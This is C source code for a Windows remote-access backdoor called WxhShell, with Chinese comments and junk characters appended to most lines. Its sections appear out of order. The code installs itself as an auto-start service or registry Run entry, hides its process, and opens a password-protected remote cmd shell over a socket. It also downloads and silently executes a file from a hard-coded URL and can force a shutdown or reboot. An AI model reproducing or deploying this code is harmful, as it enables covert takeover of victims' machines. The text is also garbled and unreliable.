    } Z:f0>  
    break; Z&8 7Aj  
    } GF~^-5  
  // 关机 *nNzhcuR  
  case 'd': { -oq!zi4:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4mOw[}@A  
    if(Boot(SHUTDOWN)) PpMZ-f@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '|^LNAx  
    else { 9dA(f~  
    closesocket(wsh); .lu:S;JSnS  
    ExitThread(0); Rde_I`Ru  
    } >4TJH lB}8  
    break; FzmCS@yA  
    }  k*|dX.C:  
  // 获取shell 2rHw5Wn]~  
  case 's': { Wu)ATs}  
    CmdShell(wsh); Sp)KtMV  
    closesocket(wsh); SCeZt [  
    ExitThread(0); RAKQ+Y"nl  
    break; ANSvZqKh  
  } ^ )N[x''a  
  // 退出 Bc}<B:q%b  
  case 'x': { lEi,duS)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mOwgk7s[ J  
    CloseIt(wsh); > 7!aZO  
    break; s# w+^Mw$  
    } Qo  
  // 离开 rh2pVDS  
  case 'q': { IWu^a w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i]GBu  
    closesocket(wsh); pH#&B_S6z=  
    WSACleanup(); b qB[ vPsI  
    exit(1); R7*Jb-;$!  
    break; Wq)'0U;{$  
        } 1=#r$H  
  } $oE 4q6b  
  } dgssX9g37  
$m/-E#I #Z  
  // 提示信息 U[d/ `  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L1BpkB  
} ]6OrL TmP  
  } h7Jo _L7  
T~$ePVk>L  
  return; HY#7Ctn3  
} Wy#`*h,  
AX**q$ 'R  
// shell模块句柄 Z{#^lhHx  
int CmdShell(SOCKET sock) vVyO}Q`  
{ q" wi.&|  
STARTUPINFO si; !|_ CXm T|  
ZeroMemory(&si,sizeof(si)); y- k?_$ M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7^sU/3z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WA Y<X:|We  
PROCESS_INFORMATION ProcessInfo; &ukNzV}VW  
char cmdline[]="cmd"; GQqw(2Ub}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !N$4.slr<p  
  return 0; q`1t*<sk  
} 7qE V5!  
qNHS 1  
// 自身启动模式 w GZ(bKyO  
int StartFromService(void) =\4w" /Y  
{ 7g ]]>  
typedef struct 7~\Dzcfk"P  
{ NOyLZa'  
  DWORD ExitStatus; QXJD' c  
  DWORD PebBaseAddress; ZC"6B(d  
  DWORD AffinityMask; ([|5(Omd\  
  DWORD BasePriority; +^YV>;  
  ULONG UniqueProcessId; _if&a'  
  ULONG InheritedFromUniqueProcessId; ?y<n^`  
}   PROCESS_BASIC_INFORMATION; XeDU ,  
3+A 0O%0*  
PROCNTQSIP NtQueryInformationProcess; R,Zuy( g  
hD<z^j+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?d+B]VYw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;YZw{|gsh  
SJU93n"G/  
  HANDLE             hProcess; n!Y.?mU6  
  PROCESS_BASIC_INFORMATION pbi; ("/*k  
$ O}gl Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1\YX|  
  if(NULL == hInst ) return 0; v{ C]\8  
 QN_5q5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V EY!0PIj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @mP@~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /l(:H  
q,nj|9z V  
  if (!NtQueryInformationProcess) return 0; TeqFy(Dr  
"]c:V4S#`A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S-2xe?sb  
  if(!hProcess) return 0; ?Tuh22J{Q  
bDUGzezP<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s+zb[3}  
7]e]Y>wZap  
  CloseHandle(hProcess); 6/4OFvL1  
3kR- WgVF,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Jnp\o>  
if(hProcess==NULL) return 0; R2]?9\II  
Jq6p5jr"  
HMODULE hMod; W[^XG\  
char procName[255]; ac+7D:X  
unsigned long cbNeeded; +Yi=W o/  
oeIB1DaI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XQj`KUO@  
9q* sR1  
  CloseHandle(hProcess); Br#]FB|tD  
] {NY;|&I'  
if(strstr(procName,"services")) return 1; // 以服务启动 ,6t0w|@-k  
[Hd^49<P2  
  return 0; // 注册表启动 *otJtEI>6  
} u x:,io  
; UrwK  
// 主模块 &)s A(  
int StartWxhshell(LPSTR lpCmdLine) 1pzU=!R?-O  
{ D%^EG8i n.  
  SOCKET wsl; R63"j\0  
BOOL val=TRUE; t9m`K9.\  
  int port=0; s ^)W?3t]  
  struct sockaddr_in door; FNc[2sI  
 o{-PT'  
  if(wscfg.ws_autoins) Install(); Nq*\{rb  
0w+hf3K+:  
port=atoi(lpCmdLine); c"O\fX  
L7D'wf  
if(port<=0) port=wscfg.ws_port; g"T~)SQP  
?Fi-,4  
  WSADATA data; f[|xp?ef  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TqQ>\h"&_  
0eQ5LG?)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ORtl~V'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |qI_9#M\(  
  door.sin_family = AF_INET; m7M*)N8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =,T~F3pK  
  door.sin_port = htons(port); #v&&GuF  
#G*z{BRQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |;D[Al5AMc  
closesocket(wsl); a'T|p)N.;T  
return 1; j,1,;  
} <EBp X   
sXhtn' <v  
  if(listen(wsl,2) == INVALID_SOCKET) { 8:t-I]dzk  
closesocket(wsl); o.Cj+`0}5  
return 1; .mok.f<G_m  
} m%Ef]({I  
  Wxhshell(wsl); kN}.[enI~  
  WSACleanup(); l>=c]  
@F,HyCSN  
return 0; ,YkQJ$  
l>qCT  
} t#P)KcWOt  
HvTi^Fb\a  
// 以NT服务方式启动 <M$hj6.tn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QT|mN  
{ e9%6+ 9Y  
DWORD   status = 0; %djx0sy  
  DWORD   specificError = 0xfffffff; ! prU!5-  
dvL'>'g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <|2_1[,sl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .Zwn{SMtu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Np/[MC  
  serviceStatus.dwWin32ExitCode     = 0; iOJgZuP  
  serviceStatus.dwServiceSpecificExitCode = 0; }VFSF/\^  
  serviceStatus.dwCheckPoint       = 0; c89RuI `B~  
  serviceStatus.dwWaitHint       = 0; Hy `r}+  
@EZXPU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); + u)'  
  if (hServiceStatusHandle==0) return; l|&|+u#  
o_5|L9  
status = GetLastError(); mB1)!  
  if (status!=NO_ERROR) rBny*!n  
{ BR0bf5T/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9s7B1Pf  
    serviceStatus.dwCheckPoint       = 0; =vK(-h  
    serviceStatus.dwWaitHint       = 0; T.(SBP  
    serviceStatus.dwWin32ExitCode     = status; xE)pj|  
    serviceStatus.dwServiceSpecificExitCode = specificError; o<g (%ncr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )E4COw+  
    return; qlgh$9  
  } Uc6U!X  
R/b=!<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2#E;5UYu  
  serviceStatus.dwCheckPoint       = 0; 2XXEg> CU  
  serviceStatus.dwWaitHint       = 0; *uv\V@0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CI  @I  
} x`lBG%Y[-v  
gq0gr?  
// 处理NT服务事件,比如:启动、停止 ~(&xBtg:}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jWoo{+=D  
{ P{qn@:  
switch(fdwControl) 7P\sn<  
{ k,@1rOf  
case SERVICE_CONTROL_STOP: Cu?$!|V  
  serviceStatus.dwWin32ExitCode = 0; &1?Q]ZRp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DX!$k[  
  serviceStatus.dwCheckPoint   = 0; 6g.@I!j E  
  serviceStatus.dwWaitHint     = 0; )b-G2< kb  
  { zh4o<f:-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); snK9']WXo  
  } |BW956fBU  
  return; }YSH8d  
case SERVICE_CONTROL_PAUSE: 1/fvk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "Km`B1f`  
  break; K3Xy%pqR#  
case SERVICE_CONTROL_CONTINUE: *Z0}0< D@Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @+ 2Zt%  
  break; %(e=Q^=  
case SERVICE_CONTROL_INTERROGATE: _ Po9pZ  
  break; Ec[:6}  
}; 6@$[x* V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' 5Ieqpm9  
} *1%g=vb  
{Ise (>V  
// 标准应用程序主函数 \ agC Q&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TxiJ?sDh*  
{ DBv5Og  
Th8Q ~*v  
// 获取操作系统版本 L*l( ~t)vF  
OsIsNt=GetOsVer(); \UC4ai2MK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1rKR=To  
.DX#:?@4@Y  
  // 从命令行安装 [Dt\E4  
  if(strpbrk(lpCmdLine,"iI")) Install(); *PI3L/*  
^Uf`w7"iY  
  // 下载执行文件 h!Q >h7  
if(wscfg.ws_downexe) { %*/[aq,#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'v,W gPe  
  WinExec(wscfg.ws_filenam,SW_HIDE); =DCQ!02  
} /# eBDo  
>:xnjEsi$/  
if(!OsIsNt) { >2|#b  
// 如果时win9x,隐藏进程并且设置为注册表启动 $K iMu  
HideProc(); kQb0pfYs  
StartWxhshell(lpCmdLine); QxkfP%_g  
} :C&?(HJ&r  
else _m&VdIPO  
  if(StartFromService()) ,S8Vfb &  
  // 以服务方式启动 ysa"f+/  
  StartServiceCtrlDispatcher(DispatchTable); 6RF01z|~_  
else ENmo^O#,u  
  // 普通方式启动 W`\H3?C`xQ  
  StartWxhshell(lpCmdLine); ~\/ J&  
y#MLxm  
return 0; G]SE A  
} 0N}5sF  
s,}<5N]U  
sDF J  
:vr,@1c  
=========================================== CJC|%i3  
\x+DEy'4;5  
\?g%>D:O;  
(r|T&'yK  
7q?Yd AUz  
Uyh   
" ^U =`Rx  
! Q#b4f  
#include <stdio.h> <hea%6  
#include <string.h> CxRp$;rk  
#include <windows.h> WLpn,8qsY  
#include <winsock2.h> OBZ|W**N"  
#include <winsvc.h> ?1{`~)"  
#include <urlmon.h> @U)'UrNr~  
6M6QMg^  
#pragma comment (lib, "Ws2_32.lib") ,'9tR&S$_  
#pragma comment (lib, "urlmon.lib") Dux`BKl  
G^R;~J*TDE  
#define MAX_USER   100 // 最大客户端连接数 Y}Dp{  
#define BUF_SOCK   200 // sock buffer 06`__$@h  
#define KEY_BUFF   255 // 输入 buffer _(jE](,  
UqHOS{\Sz  
#define REBOOT     0   // 重启 Z 0:2x(x9  
#define SHUTDOWN   1   // 关机 1_t Dp& UO  
d;=,/a  
#define DEF_PORT   5000 // 监听端口 9j 8t<5s  
OBl8kH(b>  
#define REG_LEN     16   // 注册表键长度 1D`RR/g&  
#define SVC_LEN     80   // NT服务名长度 {7wvC)WW  
ky#6M? \  
// 从dll定义API e\dT~)c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sV6A& Aw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w0IB8GdF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y((_V%F}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WY,t> 1c  
@v'D9 ?  
// wxhshell配置信息 I>xB.$A  
struct WSCFG { 4"2/"D0  
  int ws_port;         // 监听端口 <\8   
  char ws_passstr[REG_LEN]; // 口令 cjR.9bgn  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pjy?&;GvT  
  char ws_regname[REG_LEN]; // 注册表键名 2mO#vTX4  
  char ws_svcname[REG_LEN]; // 服务名 c>R(Fs|6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (w- u"1&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @r43F$bcqo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~Qsj)9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $O>@(K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3oKGeB;Ja  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [0LqZ<\5  
%(Ys-GeGr  
}; ""+*Gn 7^8  
8.^U6xA  
// default Wxhshell configuration ;?!rpj  
struct WSCFG wscfg={DEF_PORT, E oR(/*'  
    "xuhuanlingzhe", OT[m g4&  
    1, U{_s1  
    "Wxhshell", 7`/qL "  
    "Wxhshell", rrWk&;?  
            "WxhShell Service", L8zqLD i&  
    "Wrsky Windows CmdShell Service", a7|&Tbv  
    "Please Input Your Password: ", &V3oW1*W  
  1, *N r|G61  
  "http://www.wrsky.com/wxhshell.exe", >FHsZKJ  
  "Wxhshell.exe" -IS9uaT5  
    }; xdM#>z`;  
=Q}mJs  
// 消息定义模块 h%s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h6e$$-_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rsv!mY,Em  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r8%,xA&  
char *msg_ws_ext="\n\rExit."; C6M/$_l&a  
char *msg_ws_end="\n\rQuit."; lnWi E}F  
char *msg_ws_boot="\n\rReboot..."; [8P2V  
char *msg_ws_poff="\n\rShutdown..."; xW9 s[X  
char *msg_ws_down="\n\rSave to "; XgKG\C=3  
PoJyWC  
char *msg_ws_err="\n\rErr!"; f5 %&  
char *msg_ws_ok="\n\rOK!"; =)YYx8gR  
'lk74qU$  
char ExeFile[MAX_PATH]; ss{=::#  
int nUser = 0; uq%3;#[0  
HANDLE handles[MAX_USER]; Nj_sU0Dt  
int OsIsNt; C<t>m_t9  
@>IjfrjV  
SERVICE_STATUS       serviceStatus; ,rI |+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A4FDR#  
} XU:DE  
// 函数声明 kV3j}C"  
int Install(void); uW~ ,H}E  
int Uninstall(void); x2sOEkcQ  
int DownloadFile(char *sURL, SOCKET wsh); &U*J{OP|  
int Boot(int flag); !O6Is'%B  
void HideProc(void); ls\E%d  
int GetOsVer(void); 6a7iLQA  
int Wxhshell(SOCKET wsl); {l&2Kd*  
void TalkWithClient(void *cs); yn[ZN-H~  
int CmdShell(SOCKET sock); b DS1'Ce  
int StartFromService(void); ^(JHRH~=h  
int StartWxhshell(LPSTR lpCmdLine); .GN$H>')  
SWsv,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mgs|*u-5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V8$bPVps  
u2B W]T]  
// 数据结构和表定义 t/WnDR/fM  
SERVICE_TABLE_ENTRY DispatchTable[] = zlztF$Bo  
{ >Mz|e(6  
{wscfg.ws_svcname, NTServiceMain}, J<#`IaV  
{NULL, NULL} r_,m\'~s !  
}; F6c[v|3  
ONq/JW$?LV  
// 自我安装 z~e~K`S  
int Install(void) /_OZ1jX  
{ ;T{/;  
  char svExeFile[MAX_PATH]; /)?P>!#;\  
  HKEY key; niEEm`"  
  strcpy(svExeFile,ExeFile); fKz"z{\,0  
{kl{mJ*  
// 如果是win9x系统,修改注册表设为自启动 w1#jVcUQ  
if(!OsIsNt) { 6q[!X0u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , ."(Gp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nl9Cdi]o  
  RegCloseKey(key); E D^rWE_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -f2`qltjb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0#fG4D_  
  RegCloseKey(key); UX'NJ1f  
  return 0; -0o6*?[Z  
    } UxcDDa/j2T  
  } if[o?6U4t  
} ho]!G498  
else { +%qSB9_>N{  
Qy^z*s  
// 如果是NT以上系统,安装为系统服务 )cK  tc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ipz 1+ #s'  
if (schSCManager!=0) d6@jEa-  
{ c`i=(D<  
  SC_HANDLE schService = CreateService oUvk2]H  
  ( EcU'*  
  schSCManager, -iDEh_pts  
  wscfg.ws_svcname, b({Nf,(a2  
  wscfg.ws_svcdisp, |] !o*7"4  
  SERVICE_ALL_ACCESS, mOgOHb2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q$?7 ~*M;x  
  SERVICE_AUTO_START, uz#PBV8Q  
  SERVICE_ERROR_NORMAL, q_]   
  svExeFile, U 'CfP9=  
  NULL, myWmU0z/  
  NULL, TG63  
  NULL, HCx%_9xlm  
  NULL, 'ztL3(|X6  
  NULL Vo 6y8@\  
  ); B3>Uba*-)}  
  if (schService!=0) \l]pe|0EW  
  { 'y6!%k*  
  CloseServiceHandle(schService); {y&\?'L'  
  CloseServiceHandle(schSCManager); Y%)h)El  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @nx}6?p\,  
  strcat(svExeFile,wscfg.ws_svcname); 9Z0CF~Y5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9]L!.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [7e{=\`=  
  RegCloseKey(key); ;o)=XEh8P  
  return 0; ]]uzl0LH  
    } >C:"$x2"#(  
  } Z;fm;X%4  
  CloseServiceHandle(schSCManager); 0Z A#T:4  
} uZo`IKJ  
} c{,y{2c]LT  
=X`]Ct8 Z  
return 1; /NW>;J}C  
} Im?= e  
tt7PEEf  
// 自我卸载 gVa+.x]  
int Uninstall(void) 3|K=%jr[  
{ -7k|6"EwM  
  HKEY key; K$<`4#i  
5%QC ][,  
if(!OsIsNt) { 4+5OR&kxZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }$Hs;4|  
  RegDeleteValue(key,wscfg.ws_regname); \[[TlB>  
  RegCloseKey(key); {UdcX~\~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x&R9${e%  
  RegDeleteValue(key,wscfg.ws_regname); h0F0d^W.  
  RegCloseKey(key); P /c Q1  
  return 0; Zk/' \(5  
  } '9-axIj70  
} O&#S4]Y   
} Mhv1K|4s  
else { rL%]S&M9  
>@)*S n9"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {d 1N&  
if (schSCManager!=0) QiTR-M2C!  
{ abROFI5.L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $u; >hk  
  if (schService!=0) @V* ju  
  { ~aJW"\{  
  if(DeleteService(schService)!=0) { YY#s=  
  CloseServiceHandle(schService); - E8ntY-  
  CloseServiceHandle(schSCManager); 5\akI\  
  return 0; &RK H2R  
  } }osHA`x"2  
  CloseServiceHandle(schService); dThR)Z'=  
  } x|@1 wQ" 6  
  CloseServiceHandle(schSCManager); V3>f*Z)xn  
} q+A<g(Xu  
} i?GfY C2q  
a^*cZ?Ta  
return 1; MkG`w,  
} k9}Q7)@  
t] r,9df'  
// 从指定url下载文件 });cX$  
int DownloadFile(char *sURL, SOCKET wsh) I.^X2  
{ pqyWv;  
  HRESULT hr; aBXYri  
char seps[]= "/"; ;cv.f>Cm  
char *token; zwM"`z  
char *file; T} n N=Q4  
char myURL[MAX_PATH]; ^>N8*=y  
char myFILE[MAX_PATH]; 4Qa@`  
)XLj[6j0  
strcpy(myURL,sURL); >Z#uFt0<Pm  
  token=strtok(myURL,seps); pU?{0xZH  
  while(token!=NULL) %`xV'2H  
  { Nb~,`bu,2  
    file=token; + ,@ FxZl  
  token=strtok(NULL,seps); H$z>OS_6U  
  } BFBR/d[&  
m b%C}8D  
GetCurrentDirectory(MAX_PATH,myFILE); W(;x\Nc7  
strcat(myFILE, "\\"); $|4cJ#;^L  
strcat(myFILE, file); !oZQ2z~  
  send(wsh,myFILE,strlen(myFILE),0); %04:z77  
send(wsh,"...",3,0); i{o#3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [J a)<!]<  
  if(hr==S_OK) _1I K$gb[  
return 0; )l`1)Ea~  
else 't +"k8  
return 1; r_b8,I6{]  
r5t;'eCe a  
} _*O7l  
3p:=xL  
// 系统电源模块 Z5((1J9  
int Boot(int flag) ?qju DD  
{ d{er |$E?  
  HANDLE hToken; B4`2.yRis  
  TOKEN_PRIVILEGES tkp; qBT_! )h   
&MCy.(jN  
  if(OsIsNt) { L +L 9Y}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); # v{Y=$L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T"n{WmVQ  
    tkp.PrivilegeCount = 1; -glugVq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rw{$L~\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IikG /8lP  
if(flag==REBOOT) { V?OuIg%=:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {DU"]c/S  
  return 0; q_cC7p6t  
} ~mtTsZc  
else { ~j=xiP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0CT}DQ._^N  
  return 0; J!rY 6[ t  
} ?#d6i$  
  } \I?w)CE@R  
  else { {}V$`L8  
if(flag==REBOOT) { 7; p4Wg7k}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }$l8d/_$[  
  return 0; Ve)ClH/DW  
} YPu9Q  
else { ?N:B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rvW!7 -R  
  return 0; *D2Nm9sl  
} t5xb"F   
} Rv98\VD"  
}*NF&PD5RU  
return 1; Y=r!2u6r~  
} *RBV'b  
(B@X[~  
// win9x进程隐藏模块 ~e{H#*f&1/  
void HideProc(void) Rq) 0i}F  
{ d^PD#&"g  
T'E ] i!$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2+z1h^)W  
  if ( hKernel != NULL ) )B6# A0  
  { 1!vPc93 $$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R,%_deV\(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YydA6IK4  
    FreeLibrary(hKernel); ?]^zD k@~  
  } W Zq,()h  
98GlhogWt  
return; 3?Lgtkb8  
} {V}qwm?  
W;4Lkk$  
// 获取操作系统版本 Ejv%,q/T(  
int GetOsVer(void) cph~4wCS[U  
{ "f4<B-9<$  
  OSVERSIONINFO winfo; a5|@R<iF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NetYg]8`  
  GetVersionEx(&winfo); ^=^$tF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _K'7(d0z  
  return 1; JBz}|M D  
  else k'Gw!p}  
  return 0; TjxA#D)   
} L1sqU-gt  
$/+so;KD  
// 客户端句柄模块 } ~| k  
int Wxhshell(SOCKET wsl) ^-hErsK  
{ @D~B{Hg  
  SOCKET wsh; ,9d9_c.T  
  struct sockaddr_in client; /%!~x[BeJ>  
  DWORD myID; e'34Pw!m  
Pe}PH I  
  while(nUser<MAX_USER) u^=`%)  
{ m[spn@SF  
  int nSize=sizeof(client); B8H75sz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;$7v%Ls=  
  if(wsh==INVALID_SOCKET) return 1; PnA?+u2m  
8u>gbdU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dy2rkV.z  
if(handles[nUser]==0) " !-Kd'V  
  closesocket(wsh); } #Doy{T  
else v8m`jxII64  
  nUser++; ?sXG17~Bm  
  } iCP~O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pz%~ST  
a[sKE?  
  return 0; h d2'AlB  
} ^]>aHz9  
%D`o  
// 关闭 socket yS!(Ap  
void CloseIt(SOCKET wsh) 8O7Yv<  
{ @E%DP9.I  
closesocket(wsh); L[y Pjw:0  
nUser--; )#C mQXgG  
ExitThread(0); RF?DtNuq  
} w^HjZV  
 Qqc]aVRF  
// 客户端请求句柄 O-#TZ   
void TalkWithClient(void *cs) ?,)"~c$hZ  
{ RNWX.g)b  
b*EXIzQ  
  SOCKET wsh=(SOCKET)cs; r8[T&z@_  
  char pwd[SVC_LEN]; GS;%zdH~  
  char cmd[KEY_BUFF]; x GH1epf  
char chr[1]; )*|(i]  
int i,j; 8md*wEjk  
&^!h}D%T/  
  while (nUser < MAX_USER) { 8AL\ST51x"  
w<NyV8-hL  
if(wscfg.ws_passstr) { <??umkV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6o=G8y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gl8Ib<{  
  //ZeroMemory(pwd,KEY_BUFF); Q`ME@vz  
      i=0; Vn, >< g  
  while(i<SVC_LEN) { q/PNJ#<  
^A9 M;q  
  // 设置超时 p=Y>i 'CG  
  fd_set FdRead; ;b0NGa(k  
  struct timeval TimeOut; ;a r><w  
  FD_ZERO(&FdRead); Elb aFbr  
  FD_SET(wsh,&FdRead); ,DQjDMjrf  
  TimeOut.tv_sec=8; z-r2!^q27  
  TimeOut.tv_usec=0; XRtD< jlA"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'wQv3 ;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fky?\ec  
D-&a n@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "& 25D  
  pwd=chr[0]; 2S ~R!   
  if(chr[0]==0xd || chr[0]==0xa) { ZVih=Y-w  
  pwd=0; gb" 4B%Hm  
  break; DHw<%Z-J  
  } W0I4Vvh_"  
  i++; 8)j@aiF`  
    } V '.a)6  
*if`/N-q(m  
  // 如果是非法用户,关闭 socket C vDxq:x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fCw*$:O  
} ;11x"S  
ru9zTZZD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "rhYCZ B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .0p^W9  
N|usFqCNk^  
while(1) { N ( Oyi  
M 4yI`dr6  
  ZeroMemory(cmd,KEY_BUFF); vFv3'b$;G  
I&VTW8jB  
      // 自动支持客户端 telnet标准   zjl!9M!  
  j=0; h6:#!Rg  
  while(j<KEY_BUFF) { wT,R0~V0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b:W-l?  
  cmd[j]=chr[0]; pUYM}&dX  
  if(chr[0]==0xa || chr[0]==0xd) { (?0`d  
  cmd[j]=0; bHE2,;o  
  break; r! %;R?c  
  } |nUl\WRd\  
  j++; %aRT>_6"  
    } kz} R[7  
U7h(`b  
  // 下载文件 B1!kn}KlL{  
  if(strstr(cmd,"http://")) { 9=`Wp6Gmn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p@ NaD=9  
  if(DownloadFile(cmd,wsh)) pzZk\-0R  
